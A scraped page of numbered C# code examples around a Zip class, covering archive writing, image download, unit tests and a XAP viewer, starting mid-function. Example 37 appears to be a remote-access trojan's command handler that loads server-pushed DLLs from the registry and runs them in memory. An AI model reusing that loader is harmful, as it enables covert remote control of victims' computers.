                        catch { }
                    }
                }
            }

            return(scr);
        }
Esempio n. 31
0
 public string Process_EntitiesAndSimpleParams(Zip zip, City city, string otherParam)
 {
     return(string.Format("{0}_{1}_{2}", zip.Code.ToString(), city.Name, otherParam));
 }
Esempio n. 32
0
        public bool Download(object a)
        {
            if (this.busy)
            {
                return(false);
            }

            Thread thread = new Thread(new ThreadStart(() =>
            {
                this.busy  = true;
                String arg = String.Empty;

                if (!(a is Undefined) && a != null)
                {
                    arg = a.ToString();
                }

                Objects.JSScribbleImage result = new Objects.JSScribbleImage(this.Engine.Object.InstancePrototype)
                {
                    Callback   = this.Callback,
                    Data       = null,
                    ScriptName = this.Engine.ScriptName,
                    Arg        = arg,
                    URL        = this.Source
                };

                try
                {
                    WebRequest request   = WebRequest.Create(this.Source);
                    List <byte> bytes_in = new List <byte>();

                    using (WebResponse response = request.GetResponse())
                    {
                        int received = 0;
                        byte[] buf   = new byte[1024];

                        using (Stream stream = response.GetResponseStream())
                            while ((received = stream.Read(buf, 0, 1024)) > 0)
                            {
                                bytes_in.AddRange(buf.Take(received));
                            }
                    }

                    using (Bitmap avatar_raw = new Bitmap(new MemoryStream(bytes_in.ToArray())))
                    {
                        int img_x = avatar_raw.Width;
                        int img_y = avatar_raw.Height;

                        if (img_x > 384)
                        {
                            img_x = 384;
                            img_y = avatar_raw.Height - (int)Math.Floor(Math.Floor((double)avatar_raw.Height / 100) * Math.Floor(((double)(avatar_raw.Width - 384) / avatar_raw.Width) * 100));
                        }

                        if (img_y > 384)
                        {
                            img_x -= (int)Math.Floor(Math.Floor((double)img_x / 100) * Math.Floor(((double)(img_y - 384) / img_y) * 100));
                            img_y  = 384;
                        }

                        using (Bitmap avatar_sized = new Bitmap(img_x, img_y))
                        {
                            using (Graphics g = Graphics.FromImage(avatar_sized))
                            {
                                using (SolidBrush sb = new SolidBrush(Color.White))
                                    g.FillRectangle(sb, new Rectangle(0, 0, img_x, img_y));

                                g.InterpolationMode = InterpolationMode.HighQualityBicubic;
                                g.DrawImage(avatar_raw, new RectangleF(0, 0, img_x, img_y));

                                using (MemoryStream ms = new MemoryStream())
                                {
                                    avatar_sized.Save(ms, ImageFormat.Jpeg);
                                    result.Height     = avatar_sized.Height;
                                    byte[] img_buffer = ms.ToArray();
                                    result.Data       = Zip.Compress(img_buffer);
                                    bytes_in.Clear();
                                }
                            }
                        }
                    }
                }
                catch { }

                ScriptManager.PendingScriptingCallbacks.Enqueue(result);
                this.busy = false;
            }));

            thread.Start();

            return(true);
        }
Esempio n. 33
0
        /// <inheritdoc/>
        public override (MemoryStream, string) CopyToStream(string entryName)
        {
            MemoryStream ms        = new MemoryStream();
            string       realEntry = null;

            try
            {
                Zip       zf = new Zip();
                ZipReturn zr = zf.ZipFileOpen(this.Filename, -1, true);
                if (zr != ZipReturn.ZipGood)
                {
                    throw new Exception(ZipUtils.ZipErrorMessageText(zr));
                }

                for (int i = 0; i < zf.LocalFilesCount() && zr == ZipReturn.ZipGood; i++)
                {
                    if (zf.Filename(i).Contains(entryName))
                    {
                        // Open the read stream
                        realEntry = zf.Filename(i);
                        zr        = zf.ZipFileOpenReadStream(i, false, out Stream readStream, out ulong streamsize, out ushort cm);

                        // If the stream is smaller than the buffer, just run one loop through to avoid issues
                        if (streamsize < _bufferSize)
                        {
                            byte[] ibuffer = new byte[streamsize];
                            int    ilen    = readStream.Read(ibuffer, 0, (int)streamsize);
                            ms.Write(ibuffer, 0, ilen);
                            ms.Flush();
                        }
                        // Otherwise, we do the normal loop
                        else
                        {
                            byte[] ibuffer = new byte[_bufferSize];
                            int    ilen;
                            while (streamsize > _bufferSize)
                            {
                                ilen = readStream.Read(ibuffer, 0, _bufferSize);
                                ms.Write(ibuffer, 0, ilen);
                                ms.Flush();
                                streamsize -= _bufferSize;
                            }

                            ilen = readStream.Read(ibuffer, 0, (int)streamsize);
                            ms.Write(ibuffer, 0, ilen);
                            ms.Flush();
                        }

                        zr = zf.ZipFileCloseReadStream();
                    }
                }

                zf.ZipFileClose();
            }
            catch (Exception ex)
            {
                logger.Error(ex);
                ms        = null;
                realEntry = null;
            }

            return(ms, realEntry);
        }
Esempio n. 34
0
 public override void Close()
 {
     Zip.Dispose();
     Zip = null;
 }
Esempio n. 35
0
        /// <inheritdoc/>
        public override bool Write(List <string> inputFiles, string outDir, List <BaseFile> baseFiles)
        {
            bool   success  = false;
            string tempFile = Path.Combine(outDir, $"tmp{Guid.NewGuid()}");

            // If either list of roms is null or empty, return
            if (inputFiles == null || baseFiles == null || inputFiles.Count == 0 || baseFiles.Count == 0)
            {
                return(success);
            }

            // If the number of inputs is less than the number of available roms, return
            if (inputFiles.Count < baseFiles.Count)
            {
                return(success);
            }

            // If one of the files doesn't exist, return
            foreach (string file in inputFiles)
            {
                if (!File.Exists(file))
                {
                    return(success);
                }
            }

            // Get the output archive name from the first rebuild rom
            string archiveFileName = Path.Combine(outDir, Utilities.RemovePathUnsafeCharacters(baseFiles[0].Parent) + (baseFiles[0].Parent.EndsWith(".zip") ? string.Empty : ".zip"));

            // Set internal variables
            Stream    writeStream = null;
            Zip       oldZipFile  = new Zip();
            Zip       zipFile     = new Zip();
            ZipReturn zipReturn   = ZipReturn.ZipGood;

            try
            {
                // If the full output path doesn't exist, create it
                if (!Directory.Exists(Path.GetDirectoryName(archiveFileName)))
                {
                    Directory.CreateDirectory(Path.GetDirectoryName(archiveFileName));
                }

                // If the archive doesn't exist, create it and put the single file
                if (!File.Exists(archiveFileName))
                {
                    zipReturn = zipFile.ZipFileCreate(tempFile);

                    // Map all inputs to index
                    Dictionary <string, int> inputIndexMap = new Dictionary <string, int>();
                    for (int i = 0; i < inputFiles.Count; i++)
                    {
                        inputIndexMap.Add(baseFiles[i].Filename.Replace('\\', '/'), i);
                    }

                    // Sort the keys in TZIP order
                    List <string> keys = inputIndexMap.Keys.ToList();
                    keys.Sort(ZipUtils.TrrntZipStringCompare);

                    // Now add all of the files in order
                    foreach (string key in keys)
                    {
                        // Get the index mapped to the key
                        int index = inputIndexMap[key];

                        // Open the input file for reading
                        Stream freadStream = File.OpenRead(inputFiles[index]);
                        ulong  istreamSize = (ulong)(new FileInfo(inputFiles[index]).Length);

                        DateTime dt = DateTime.Now;
                        if (UseDates && !string.IsNullOrWhiteSpace(baseFiles[index].Date) && DateTime.TryParse(baseFiles[index].Date.Replace('\\', '/'), out dt))
                        {
                            long       msDosDateTime = Utilities.ConvertDateTimeToMsDosTimeFormat(dt);
                            TimeStamps ts            = new TimeStamps {
                                ModTime = msDosDateTime
                            };
                            zipFile.ZipFileOpenWriteStream(false, false, baseFiles[index].Filename.Replace('\\', '/'), istreamSize, (ushort)CompressionMethod.Deflated, out writeStream, ts);
                        }
                        else
                        {
                            zipFile.ZipFileOpenWriteStream(false, true, baseFiles[index].Filename.Replace('\\', '/'), istreamSize, (ushort)CompressionMethod.Deflated, out writeStream, null);
                        }

                        // Copy the input stream to the output
                        byte[] ibuffer = new byte[_bufferSize];
                        int    ilen;
                        while ((ilen = freadStream.Read(ibuffer, 0, _bufferSize)) > 0)
                        {
                            writeStream.Write(ibuffer, 0, ilen);
                            writeStream.Flush();
                        }

                        freadStream.Dispose();
                        zipFile.ZipFileCloseWriteStream(baseFiles[index].CRC);
                    }
                }

                // Otherwise, sort the input files and write out in the correct order
                else
                {
                    // Open the old archive for reading
                    oldZipFile.ZipFileOpen(archiveFileName, -1, true);

                    // Map all inputs to index
                    Dictionary <string, int> inputIndexMap = new Dictionary <string, int>();
                    for (int i = 0; i < inputFiles.Count; i++)
                    {
                        var oldZipFileContents = new List <string>();
                        for (int j = 0; j < oldZipFile.LocalFilesCount(); j++)
                        {
                            oldZipFileContents.Add(oldZipFile.Filename(j));
                        }

                        // If the old one contains the new file, then just skip out
                        if (oldZipFileContents.Contains(baseFiles[i].Filename.Replace('\\', '/')))
                        {
                            continue;
                        }

                        inputIndexMap.Add(baseFiles[i].Filename.Replace('\\', '/'), -(i + 1));
                    }

                    // Then add all of the old entries to it too
                    for (int i = 0; i < oldZipFile.LocalFilesCount(); i++)
                    {
                        inputIndexMap.Add(oldZipFile.Filename(i), i);
                    }

                    // If the number of entries is the same as the old archive, skip out
                    if (inputIndexMap.Keys.Count <= oldZipFile.LocalFilesCount())
                    {
                        success = true;
                        return(success);
                    }

                    // Otherwise, process the old zipfile
                    zipFile.ZipFileCreate(tempFile);

                    // Get the order for the entries with the new file
                    List <string> keys = inputIndexMap.Keys.ToList();
                    keys.Sort(ZipUtils.TrrntZipStringCompare);

                    // Copy over all files to the new archive
                    foreach (string key in keys)
                    {
                        // Get the index mapped to the key
                        int index = inputIndexMap[key];

                        // If we have the input file, add it now
                        if (index < 0)
                        {
                            // Open the input file for reading
                            Stream freadStream = File.OpenRead(inputFiles[-index - 1]);
                            ulong  istreamSize = (ulong)(new FileInfo(inputFiles[-index - 1]).Length);

                            DateTime dt = DateTime.Now;
                            if (UseDates && !string.IsNullOrWhiteSpace(baseFiles[-index - 1].Date) && DateTime.TryParse(baseFiles[-index - 1].Date.Replace('\\', '/'), out dt))
                            {
                                long       msDosDateTime = Utilities.ConvertDateTimeToMsDosTimeFormat(dt);
                                TimeStamps ts            = new TimeStamps {
                                    ModTime = msDosDateTime
                                };
                                zipFile.ZipFileOpenWriteStream(false, false, baseFiles[-index - 1].Filename.Replace('\\', '/'), istreamSize, (ushort)CompressionMethod.Deflated, out writeStream, ts);
                            }
                            else
                            {
                                zipFile.ZipFileOpenWriteStream(false, true, baseFiles[-index - 1].Filename.Replace('\\', '/'), istreamSize, (ushort)CompressionMethod.Deflated, out writeStream, null);
                            }

                            // Copy the input stream to the output
                            byte[] ibuffer = new byte[_bufferSize];
                            int    ilen;
                            while ((ilen = freadStream.Read(ibuffer, 0, _bufferSize)) > 0)
                            {
                                writeStream.Write(ibuffer, 0, ilen);
                                writeStream.Flush();
                            }
                            freadStream.Dispose();
                            zipFile.ZipFileCloseWriteStream(baseFiles[-index - 1].CRC);
                        }

                        // Otherwise, copy the file from the old archive
                        else
                        {
                            // Instantiate the streams
                            oldZipFile.ZipFileOpenReadStream(index, false, out Stream zreadStream, out ulong istreamSize, out ushort icompressionMethod);
                            long       msDosDateTime = oldZipFile.LastModified(index);
                            TimeStamps ts            = new TimeStamps {
                                ModTime = msDosDateTime
                            };
                            zipFile.ZipFileOpenWriteStream(false, true, oldZipFile.Filename(index), istreamSize, (ushort)CompressionMethod.Deflated, out writeStream, ts);

                            // Copy the input stream to the output
                            byte[] ibuffer = new byte[_bufferSize];
                            int    ilen;
                            while ((ilen = zreadStream.Read(ibuffer, 0, _bufferSize)) > 0)
                            {
                                writeStream.Write(ibuffer, 0, ilen);
                                writeStream.Flush();
                            }

                            zipFile.ZipFileCloseWriteStream(oldZipFile.CRC32(index));
                        }
                    }
                }

                // Close the output zip file
                zipFile.ZipFileClose();
                oldZipFile.ZipFileClose();

                success = true;
            }
            catch (Exception ex)
            {
                logger.Error(ex);
                success = false;
            }

            // If the old file exists, delete it and replace
            if (File.Exists(archiveFileName))
            {
                File.Delete(archiveFileName);
            }
            File.Move(tempFile, archiveFileName);

            return(true);
        }
 public async Task DeleteZip(Zip zip)
 {
     var db = await base.OpenDatabase();
     var count = await db.DeleteAsync(zip);
 }
Esempio n. 37
0
        public static void Read(object data)
        {
            try
            {
                MsgPack unpack_msgpack = new MsgPack();
                unpack_msgpack.DecodeFromBytes((byte[])data);
                switch (unpack_msgpack.ForcePathObject("Packet").AsString)
                {
                case "Ping":
                {
                    Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString);
                    break;
                }

                case "plugin":     // run plugin in memory
                {
                    Received();
                    Assembly assembly = AppDomain.CurrentDomain.Load(Zip.Decompress(Convert.FromBase64String(Strings.StrReverse(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString)))));
                    Type     type     = assembly.GetType("Plugin.Plugin");
                    dynamic  instance = Activator.CreateInstance(type);
                    instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), MutexControl.currentApp, Settings.MTX, Settings.BDOS, Settings.Install);
                    break;
                }

                case "savePlugin":     // save plugin as MD5:Base64
                {
                    SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").AsString);
                    Debug.WriteLine("plguin saved");
                    break;
                }

                case "checkPlugin":     // server sent all plugins hashes, we check which plugin we miss
                {
                    List <string> plugins = new List <string>();
                    foreach (string plugin in unpack_msgpack.ForcePathObject("Hash").AsString.Split(','))
                    {
                        if (SetRegistry.GetValue(plugin) == null)
                        {
                            plugins.Add(plugin);
                            Debug.WriteLine("plguin not found");
                        }
                    }
                    if (plugins.Count > 0)
                    {
                        MsgPack msgPack = new MsgPack();
                        msgPack.ForcePathObject("Packet").SetAsString("sendPlugin");
                        msgPack.ForcePathObject("Hashes").SetAsString(string.Join(",", plugins));
                        ClientSocket.Send(msgPack.Encode2Bytes());
                    }
                    break;
                }

                    //case "cleanPlugin": // server want to clean and re save all plugins
                    //    {
                    //        SetRegistry.DeleteSubKey();
                    //        MsgPack msgPack = new MsgPack();
                    //        msgPack.ForcePathObject("Packet").SetAsString("sendPlugin+");
                    //        ClientSocket.Send(msgPack.Encode2Bytes());
                    //        break;
                    //    }
                }
            }
            catch (Exception ex)
            {
                Error(ex.Message);
            }
        }
Esempio n. 38
0
        public async Task Authorization_Custom_Authorization_On_CUD()
        {
            // Specifically, the City data is marked so that no one can delete a Zip code
            // from WA unless their user name is WAGuy
            MockUser notWaGuy = new MockUser("notWAGuy");

            notWaGuy.IsAuthenticated = true;

            DomainServiceDescription serviceDescription = DomainServiceDescription.GetDescription(typeof(CityDomainService));
            Zip zip = null;

            // First execute a query to get some zips
            DomainOperationEntry getZipsQuery = serviceDescription.GetQueryMethod("GetZips");
            DomainServiceContext ctxt;

            using (CityDomainService cities = new CityDomainService())
            {
                // Now prepare for a query to find a Zip in WA
                ctxt = new WcfDomainServiceContext(new MockDataService(notWaGuy), DomainOperationType.Query);
                cities.Initialize(ctxt);
                IEnumerable result = (await cities.QueryAsync <Zip>(new QueryDescription(getZipsQuery), CancellationToken.None)).Result;

                zip = result.OfType <Zip>().FirstOrDefault(z => z.StateName == "WA");
                Assert.IsNotNull(zip, "Could not find a zip code in WA");
            }

            // Prepare a submit to delete this zip from a user who is not authorized
            using (CityDomainService cities = new CityDomainService())
            {
                // Now prepare for a query to find a Zip in WA
                ctxt = new WcfDomainServiceContext(new MockDataService(notWaGuy), DomainOperationType.Submit);
                cities.Initialize(ctxt);

                // Prepare an attempt to delete this with a user whose name is not WAGuy
                // This should fail due to a custom auth attribute
                List <ChangeSetEntry> entries = new List <ChangeSetEntry>();

                ChangeSetEntry entry = new ChangeSetEntry(1, zip, zip, DomainOperation.Delete);
                entries.Add(entry);
                UnauthorizedAccessException exception = null;
                try
                {
                    await ChangeSetProcessor.ProcessAsync(cities, entries);
                }
                catch (UnauthorizedAccessException ex)
                {
                    exception = ex;
                }
                Assert.IsNotNull(exception, "Expected failure attempting to delete a zip from WA with inappropriate user name");
                Assert.AreEqual("Only one user can delete zip codes from that state, and it isn't you.", exception.Message);
            }

            // Now do that again but with a user who is WAGuy -- it should succeed
            using (CityDomainService cities = new CityDomainService())
            {
                MockUser waGuy = new MockUser("WAGuy");
                waGuy.IsAuthenticated = true;

                // Now try a submit where the user *is* Mathew to validate we succeed
                ctxt = new WcfDomainServiceContext(new MockDataService(waGuy), DomainOperationType.Submit);
                cities.Initialize(ctxt);
                List <ChangeSetEntry> entries = new List <ChangeSetEntry>();

                ChangeSetEntry entry = new ChangeSetEntry(1, zip, zip, DomainOperation.Delete);
                entries.Add(entry);
                Exception exception = null;
                try
                {
                    await ChangeSetProcessor.ProcessAsync(cities, entries);
                }
                catch (UnauthorizedAccessException ex)
                {
                    exception = ex;
                }
                Assert.IsNull(exception, "Expected success attempting to delete a zip from WA with inappropriate user name");
            }
        }
Esempio n. 39
0
        public void TestZip()
        {
            string compressedFilePath = DataManagement.PathForDataFile("Test", "ziptest.zip");
            string compressionPath    = DataManagement.PathForDataSubDirectory("Test", "ZipTest");

            //Clear prior tests
            Directory.Delete(compressionPath, true);

            //
            //Create files with random contents
            //

            string[] fileNames = new string[]
            {
                "Baron.txt",
                "Silly test",
                "Oh_Noes).asdf",
                "Something is going to happen with this one maybe.int",
                "What.bgc"
            };

            string[] subpaths = new string[]
            {
                DataManagement.PathForDataSubDirectory("Test", "ZipTest"),
                DataManagement.PathForDataSubDirectory("Test", "ZipTest", "SubA"),
                DataManagement.PathForDataSubDirectory("Test", "ZipTest", "SubB")
            };

            string[,] fileContents = new string[subpaths.Length, 5];

            for (int p = 0; p < subpaths.Length; p++)
            {
                string datapath = subpaths[p];
                for (int i = 0; i < 5; i++)
                {
                    fileContents[p, i] = $"{UnityEngine.Random.value}\n{UnityEngine.Random.value}";
                    File.WriteAllText(
                        Path.Combine(datapath, fileNames[i]),
                        fileContents[p, i]);
                }
            }

            //
            //Compress contents
            //
            Zip.CompressDirectory(
                inputPath: compressionPath,
                outputFilePath: compressedFilePath);

            //
            //Delete Original Files
            //
            Directory.Delete(compressionPath, true);

            //
            //Decompress contents
            //
            Zip.DecompressFile(
                inputFilePath: compressedFilePath,
                outputPath: compressionPath);

            //
            //Verify Output
            //
            for (int p = 0; p < subpaths.Length; p++)
            {
                string datapath = subpaths[p];
                for (int i = 0; i < 5; i++)
                {
                    Assert.IsTrue(File.Exists(Path.Combine(datapath, fileNames[i])));
                    string fileText = File.ReadAllText(Path.Combine(datapath, fileNames[i]));
                    Assert.IsTrue(fileContents[p, i] == fileText);
                }
            }

            //
            //Delete Test Files
            //
            if (Directory.Exists(compressionPath))
            {
                Directory.Delete(compressionPath, true);
            }

            //
            //Delete Zip File
            //
            if (File.Exists(compressedFilePath))
            {
                File.Delete(compressedFilePath);
            }
        }
Esempio n. 40
0
        public void GraphInterpreter_should_implement_zip_broadcast()
        {
            WithTestSetup((setup, builder, lastEvents) =>
            {
                var source1 = setup.NewUpstreamProbe<int>("source1");
                var source2 = setup.NewUpstreamProbe<int>("source2");
                var sink1 = setup.NewDownstreamProbe<Tuple<int, int>>("sink1");
                var sink2 = setup.NewDownstreamProbe<Tuple<int, int>>("sink2");
                var zip = new Zip<int, int>();
                var broadcast = new Broadcast<Tuple<int, int>>(2);

                builder(new IGraphStageWithMaterializedValue<Shape, object>[] {broadcast, zip})
                    .Connect(source1, zip.In0)
                    .Connect(source2, zip.In1)
                    .Connect(zip.Out, broadcast.In)
                    .Connect(broadcast.Out(0), sink1)
                    .Connect(broadcast.Out(1), sink2)
                    .Init();

                lastEvents().Should().BeEmpty();

                sink1.RequestOne();
                lastEvents().Should().BeEquivalentTo(new RequestOne(source1), new RequestOne(source2));

                sink2.RequestOne();

                source1.OnNext(1);
                lastEvents().Should().BeEmpty();

                source2.OnNext(2);
                lastEvents()
                    .Should()
                    .Equal(new RequestOne(source1), new RequestOne(source2),
                        new OnNext(sink1, new Tuple<int, int>(1, 2)), new OnNext(sink2, new Tuple<int, int>(1, 2)));
            });
        }
Esempio n. 41
0
File: munxap.cs Progetto: dfr0/moon
	void Show ()
	{
		zip = new Zip (File);
 
		Application.Init ();

		// Main window
		window = new Window ("munxap: " + File);
		window.Resize (600, 600);
		window.DeleteEvent += delegate (object obj, DeleteEventArgs args)
		{
			Close ();
		};

		// Main vbox
		main = new VBox (false, 10);
		window.Add (main);

		// label with the filename of the xap file on top
		file_label = new Label (File);
		main.PackStart (file_label, false, true, 0);

		// the middle consists of a hbox, leftmost column a list of files in the zip file
		xap = new HBox (false, 10);
		main.PackStart (xap, true, true, 0);

		left = new VBox (false, 10);
		xap.PackStart (left, true, true, 0);
		
		// a list of files in the zip file
		xap_file_store = new ListStore (typeof (String), typeof (String), typeof (ZipContent));		
		xap_file_view = new TreeView ();
		xap_file_view.Model = xap_file_store;
		xap_file_view.HeadersVisible = true;
		xap_file_view.AppendColumn ("Name", new CellRendererText (), "text", 0);
		xap_file_view.AppendColumn ("Type", new CellRendererText (), "text", 1);
		xap_file_view.CursorChanged += HandleCursorChanged;
		xap_file_scrollable = new ScrolledWindow ();
		xap_file_scrollable.Add (xap_file_view);
		left.PackStart (xap_file_scrollable, true, true, 0);
		
		// close button at the bottom
		close_button = new Button ("Close");
		close_button.Clicked += delegate (object obj, EventArgs args)
		{
			Close ();
		};
		main.PackEnd (close_button, false, true, 0);

		// Load zip contents
		foreach (ZipContent f in zip.Files) {
			xap_file_store.AppendValues (f.Filename, f.Type, f);
		}
		
		
		window.ShowAll ();
		
		Application.Run ();
	}
        public void DomainContext_Submit_ValidationErrorDuringClientSubmit()
        {
            CityDomainContext citiesProvider = new CityDomainContext(TestURIs.Cities);
            Zip newZip = new Zip()
            {
                Code = 98765, FourDigit = 1234
            };
            Zip validZip = new Zip()
            {
                Code = 90000, FourDigit = 1000, CityName = "MyCity", StateName = "MY"
            };
            City deletedCity = null;

            SubmitOperation so = null;
            LoadOperation   loadCitiesOperation = citiesProvider.Load(citiesProvider.GetCitiesQuery(), false);
            LoadOperation   loadZipsOperation   = citiesProvider.Load(citiesProvider.GetZipsQuery(), false);

            // wait for Load to complete, then invoke domain method that throws on server. Submit.
            EnqueueConditional(() => loadCitiesOperation.IsComplete && loadZipsOperation.IsComplete);
            EnqueueCallback(delegate
            {
                // update entity in a way that caused entity validation to fail on client
                Zip[] zips       = citiesProvider.Zips.ToArray();
                zips[0].CityName = zips[0].StateName;

                // internally set domain method invocation to cause method param validation to fail on client
                zips[0].CustomMethodInvocation = new EntityAction("ReassignZipCode", new object[] { -10000, true });

                // insert entity that caused object/property validation to fail on client
                citiesProvider.Zips.Add(newZip);

                // Add a temporary error to that invalid object to ensure errors are reset during submit
                newZip.ValidationErrors.Add(new ValidationResult("Temporary Error", new string[] { "StateName" }));

                // insert entity that is valid
                citiesProvider.Zips.Add(validZip);

                // Add a temporary error to that valid object to ensure errors are reset during submit
                validZip.ValidationErrors.Add(new ValidationResult("Temporary Error", new string[] { "StateName" }));

                // remove city
                City[] cities = citiesProvider.Cities.ToArray();
                deletedCity   = cities[1];
                citiesProvider.Cities.Remove(deletedCity);

                so = citiesProvider.SubmitChanges(TestHelperMethods.DefaultOperationAction, null);
            });

            // wait for submitted event being fired and verify Entity.ValidationErrors is not empty
            this.EnqueueCompletion(() => so);
            EnqueueCallback(delegate
            {
                DomainOperationException ex = so.Error as DomainOperationException;
                Assert.IsNotNull(ex);
                Assert.AreEqual(OperationErrorStatus.ValidationFailed, ex.Status);
                Assert.AreEqual(Resource.DomainContext_SubmitOperationFailed_Validation, ex.Message);

                // verify errors are generated on the client side
                Zip[] zips = citiesProvider.Zips.ToArray();
                IEnumerable <ValidationResult> errors = zips[0].ValidationErrors;
                LogErrorListContents("citiesProvider.Zips[0].ValidationErrors", errors);
                Assert.AreEqual(2, errors.Count());
                UnitTestHelper.AssertListContains <ValidationResult>(errors, (e => e.ErrorMessage == "The field offset must be between -9999 and 9999."));
                UnitTestHelper.AssertListContains <ValidationResult>(errors, (e => e.ErrorMessage == "Zip codes cannot have matching city and state names" && e.MemberNames.Contains("StateName") && e.MemberNames.Contains("CityName")));

                LogErrorListContents("newZip.ValidationErrors", newZip.ValidationErrors);
                errors = newZip.ValidationErrors;

                // Expect only 2 errors for the properties.  The entity level error is not checked if property level checks fail
                Assert.AreEqual(2, errors.Count());
                UnitTestHelper.AssertListContains <ValidationResult>(errors, (e => e.ErrorMessage == "The CityName field is required."));
                UnitTestHelper.AssertListContains <ValidationResult>(errors, (e => e.ErrorMessage == "The StateName field is required."));

                Assert.AreEqual(0, deletedCity.ValidationErrors.Count(), "The deleted city shouldn't have any validation errors");
                Assert.AreEqual(0, validZip.ValidationErrors.Count(), "The valid city shouldn't have any validation errors");
            });

            EnqueueTestComplete();
        }